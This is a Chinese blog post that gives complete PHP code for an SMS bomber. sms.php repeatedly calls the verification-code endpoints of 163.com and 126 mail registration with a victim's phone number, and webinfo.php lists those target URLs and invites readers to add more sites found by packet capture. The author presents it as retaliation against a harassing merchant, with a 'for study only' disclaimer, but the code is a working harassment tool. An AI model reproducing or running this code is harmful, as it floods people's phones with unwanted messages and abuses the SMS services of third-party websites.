• php 构造骚扰短信发送机(仅供学习与参考,请勿用于非法用途)


    最近在某宝买东西得罪了某黑心商家。。然后他就疯狂的给我发骚扰短信,烦死了。。。

    短信大概就是利用一些网站的手机验证码来实现的。。

    所以再被他疯狂骚扰后决定自己动手反击。。

    php主要用到了curl的函数库扩展,然后主要要做的还是去抓包分析网站注册码的各个请求,

    下面就主要来一个小的demo来详细说一下。。效率谈不上,仅限于娱乐。

    1.sms.php

      注意cookie文件一定要用绝对路径。。在这纠结了好久。。

      其他的curlopt参数自己去查手册吧

      还有里面缺少一些状态判断,可以自己去做,懒得搞了。。他一般返回json格式,还是很清楚的,剩余几次,是否已经注册都有信息可以提取。curl_exec()的返回值里有数据

     1 <?php
     2 ini_set('max_execution_time',0);
     3 if(!isset($argv[1])){
     4     print("argv error");
     5     die();
     6 }
     7 include_once("./webinfo.php");
     8 $exps = array();
     9 foreach ($webs as $key => $value) {
    10     $exps[] = new $value($argv[1]);
    11 }
    12 for($i=1;$i<=3;$i++){
    13     print("this is {$i} send
    ");
    14     foreach ($exps as $key => $value) {
    15         if(!file_exists($value->cookieJar)){
    16             $fp = fopen(dirname(__FILE__)."/".$value->cookieJar, "w+");
    17             fclose($fp);
    18             print("[+]create cookiefile {$value->cookieJar}
    ");
    19         }
    20         $ch = curl_init();
    21         curl_setopt($ch,CURLOPT_URL,$value->urlGetRawCookie);
    22         curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__)."/".$value->cookieJar);
    23         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    24         curl_setopt($ch, CURLOPT_HEADER, 0);
    25         curl_exec($ch);
    26         print("[+]get raw cookie ready
    ");
    27         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
    28         if($value->urlCheckNum!=null){
    29             $checkUrl = $value->urlCheckNum;
    30             foreach ($checkUrl as $k => $v) {
    31                 if($value->type=="post"){
    32                     curl_setopt($ch, CURLOPT_URL, $v[0]);
    33                     curl_setopt($ch, CURLOPT_POST, true);
    34                     curl_setopt($ch, CURLOPT_POSTFIELDS, $v[1]);
    35                 }else{
    36                     curl_setopt($ch, CURLOPT_URL, $v);
    37                 }
    38                 curl_exec($ch);
    39                 print("[+]check num ready
    ");
    40              } 
    41         }
    42         if($value->type=="post"){
    43             curl_setopt($ch, CURLOPT_POST, true);
    44             curl_setopt($ch, CURLOPT_POSTFIELDS, $value->paras);
    45         }
    46         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
    47         curl_setopt($ch, CURLOPT_URL, $value->urlSendSMS);
    48         curl_exec($ch);
    49         print("[+]send sms ok 
     begin the next... 
    
    ");
    50     }
    51     if($i!=3){
    52         print("[--]we will begin the next send sms after 60s
    ");
    53         sleep(60);
    54     }
    55     
    56 }

    2.webinfo.php

     1 <?php
     2     /*
     3      *本页面为网站信息数据
     4      *$webs数组存放所有的
     5      *$type为请求格式
     6      *
     7      *$urlGetRawCookie为原始登录网页网址,用来取得原始cookie并保存,
     8      *因为一般他们会把验证码信息存在session中,若没有登录,就对应了cookie中的JSESSIONID,与http协议机制相关
     9      *
    10      *$urlCheckNum为最终发送网址之前的一些网址,保存为数组格式,若为post型,则保存为二维数组,
    11      *最内层数组第一个元素为网址,第二个为post数据
    12      *
    13      *$urlSendSMS为最终发送网址,若为post型,post数据对应于$paras
    14      *
    15      *$cookieJar为cookie保存文件
    16      */
    17     $webs = array("info163","info126");
    18     class Info163{
    19         public $type = "post";
    20         public $paras = "";
    21         public $urlGetRawCookie = "http://reg.email.163.com/unireg/call.do?cmd=register.entrance&from=163mail";
    22         public $urlCheckNum = null;
    23         public $urlSendSMS = "http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode";
    24         public $cookieJar = "cookie163.txt";
    25         public function info163($num){
    26             $this->paras = "mobile={$num}&uid={$num}@163.com&mark=mobile_start";
    27         }
    28         
    29     }
    30     class Info126{
    31         public $type = "get";
    32         public $urlGetRawCookie = "http://e.mail.163.com/mobilemail/home.do?from=163mail";
    33         public $urlCheckNum = null;
    34         public $urlSendSMS = "http://e.mail.163.com/mobilemail/getVerifyCode.do?rnd=0.031214307695158909";
    35         public $cookieJar = "cookie126.txt";
    36         public function info126($num){
    37             $this->urlCheckNum = array(
    38                 "http://e.mail.163.com/mobilemail/service/jslog.do?mobile={$num}",
    39                 "http://e.mail.163.com/mobilemail/checkMobileBinded.do?mobile={$num}&rnd=0.5488968987483531"
    40                 );
    41         }
    42     }
    43 
    44 
    45 
    46 ?>

    自己可以按照规则扩展webino里的数据,抓包可以用wireshark,不过http抓包个人感觉还是chrome自带的工具比较好用点

    请勿用于非法用途,后果自负。

  • 相关阅读:
    Test
    Python Requests库使用指南
    Python文件操作,看这篇就足够
    Ubuntu配置完全教程
    Redis入门
    Python Requests 库学习笔记
    c++11函数模板“偏特化”的一种实现
    c++通用判零模板类
    Python实现1-9数组形成的结果为100的所有运算式
    QT:用QWebSocket实现webchannel,实现C++与HTML通信
  • 原文地址:https://www.cnblogs.com/happyDays/p/3440741.html
Copyright © 2020-2023  润新知